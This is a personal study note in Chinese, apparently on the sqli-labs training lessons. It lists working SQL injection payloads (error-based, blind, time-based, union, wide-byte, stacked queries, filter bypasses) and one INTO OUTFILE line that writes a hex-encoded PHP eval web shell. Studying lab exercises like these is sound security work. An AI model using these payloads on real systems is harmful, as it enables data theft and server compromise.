'''
print_r(mysql_error()); 若存在即可使用报错注入,
11-16 利用盲注 得到信息
11.
admin'#
sui bian
SELECT username, password FROM users WHERE username='admin'#' and password='dasdas' LIMIT 0,1
12.
admin") #
sui bian
SELECT username, password FROM users WHERE username=("admin") #") and password=("123456") LIMIT 0,1
13.
admin')and (substr(database(),1,1))>'a'#
sui bian
SELECT username, password FROM users WHERE username=('admin')and (substr(database(),1,1))>'a'#') and password=('') LIMIT 0,1
14.
也可盲注
admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
报错注入
随便
SELECT username, password FROM users WHERE username="admin "#" and password="a" LIMIT 0,1
15. 延时注入,答错sleep5秒
admin'#
admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
admin' or left(database(),1)>'a
sui bian
SELECT username, password FROM users WHERE username='admin'#' and password='asd' LIMIT 0,1
16.
admin")#
sui bian
SELECT username, password FROM users WHERE username="admin"#" and password="asd" LIMIT 0,1
17.注册页面
报错注入:
extractvalue(1,concat(0x7e,(select @@version),0x7e))
盲注
' and If(ascii(substr(database(),1,1))=116,1,sleep(5))#
18.insert into 注入
存在报错的话,就在内闭合
'and extractvalue(1,concat(0x7e,(select@@version),0x7e))and'1'='1
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and extractvalue(1,concat(0x7e,(select@@version),0x7e))and'1'='1', '127.0.0.1', 'admin')
19.在 refeer里面存在
20 在cookie 中存在,具体需看源代码
21:
22: 都是 存在于 cookie中,利用报错注入
23:
过滤了 #,-- 不能注释了
只能使用 内敛,-1'unionselect1,@@datadir,'3 ,
-1' union select 1,(select group_concat(schema_name)from information_schema.schemata),'3
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),'3
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479),'3
-1' union select 1,(select group_concat(0x7e,username,0x7e) from security.users limit 0,1),'3
也可 报错注入,
-1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1
也可盲注
1' and left(( select database() ),1)='s
24:
二次注入了类型:
建立 admin'# 账号
mysql_real_escape_string()
由于 储存前 mysql_real_escape_string() 转义了
主入到 以下 SQL语句
$sql = "UPDATE users SET PASSWORD='1' where username='$username' and password='123' ";
注意: mysql_real_escape_string() 并不转义 % 和 _。
addslashes() – 使用反斜线引用字符串;
这些字符是单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)。
25:
过滤了 or ,and
绕过方法: anandd , oorr , 变换&&,||
25a:
无回显,只能使用延时注入或盲注入
26:
过滤了空格 和一些字符 \ *
linux 平台下,下的 这些东西可以实行
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
29,30,31:
tomact+apache 默认会取到最后一个参数
而在代码中,是取的第一个id 的参数,
可利用参数污染
32:
宽字节 注入:
原理: 写入数据库是GBK
%df%27 即在数据库里面执行时,特殊符号前面会增加\,%df\ 在GBK中被认为是一个 子,从而逃逸出了'。
33:
此处过滤使用函数 addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
1 单引号(')
2 双引号(")
3 反斜杠(\)
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
34:
登陆之 addslashes()加反斜杠之术
post型 搞定 宽字节注入
�'or 1=1#
ps:post 没有 get 型的 urlencode
35:
虚张声势
虽然有addslashes(),但 不需要 ' " 闭合 ,用平常的语句过就行。。
-1 union select 1,user(),3 %23
36:
依然宽字节
mysql_real_escape_string() 过滤特殊字符
-1 %df' union select 1,2,3 %23
37:
�'or 1=1#
1
38-41:
mysqli_multi_query() 可进行堆叠查询
get型
-1' union select 1,2,3 %23
1';insert into users (id,username,password) values('66','Less-38','haha'); #23
1';insert into users values('67','Less-38(1)','haha'); #23
42-45:
post型堆叠查询
没有 mysql_real_escape_string()函数的处理。
admin
c';create table less42 like users#
46,47,48,49:
order by 句型 没有过滤,
2. rand(进行盲注) 1,0不同 根据排序不同分 ture
3. 报错,延时
若后面存在limit 1
可以用 procedure analyse()优化 绕过
procedure analyse(extractvalue(rand(),con cat(0x3a,version())),1)
直接写入文件
into outfile "D:\\1.txt"
Into outtfile D:\\1.txt lines terminated by 0x(16 进制)
Into outfile "D:\\1.php" lines terminated by 0x3c7068703e406576616c28245f5f504f53545b2761275d293c2f7068703e
50,51,52,53 堆叠查询:
mysqli_multi_query() 执行多个sql
mysqli_query() 执行单个sql
后面的 跟前面的差不多了
受益良多,留个笔记
'''
个人学习-SQL 记录(2)
最新推荐文章于 2022-10-22 11:35:36 发布